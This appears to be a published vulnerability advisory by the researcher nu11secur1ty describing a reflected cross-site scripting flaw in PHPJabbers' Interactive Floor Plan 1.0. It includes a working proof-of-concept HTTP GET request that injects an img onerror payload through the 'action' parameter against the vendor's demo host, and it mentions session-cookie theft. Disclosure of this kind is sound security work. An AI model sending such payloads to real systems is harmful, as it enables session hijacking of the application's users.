Interactive Floor Plan version 1.0 suffers from a cross site scripting vulnerability.
696171fac915ad8521ab878bf8dd8496a69db4eedb1b4fe9f216fbfde57545ec
## Title: Interactive-Floor-Plan-1.0-XSS-Reflected-SESSION-Hijacking
## Author: nu11secur1ty
## Date: 01/28/2024
## Vendor: https://www.phpjabbers.com/
## Software: https://www.phpjabbers.com/interactive-floor-plan-software/#sectionDemo
## Reference: https://portswigger.net/web-security/cross-site-scripting/reflected
## Description:
The value of the action request parameter is copied into the HTML
document as plain text between tags. The payload epe7x<img src=a
onerror=alert(1)>aagqb was submitted in the action parameter. This
input was echoed unmodified in the application's response. The
attacker can steal session cookies etc.
STATUS: HIGH - Vulnerability
[+]Exploit:
```GET
GET /1706426767_110/index.php?controller=pjFront&action=pjActionLoadCssepe7x%3cimg%20src%3da%20onerror%3dalert(1)%3eaagqb
HTTP/1.1
Host: demo.phpjabbers.com
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85
Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: _ga=GA1.2.809339229.1706427310;
_gid=GA1.2.1556395590.1706427310; _gat=1;
_fbp=fb.1.1706427309936.1280956215;
_ga_NME5VTTGTT=GS1.2.1706427311.1.0.1706427311.60.0.0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 0
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2024/Interactive-Floor-Plan-1.0)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/01/interactive-floor-plan-10-xss-reflected.html)
## Time spent:
00:35:00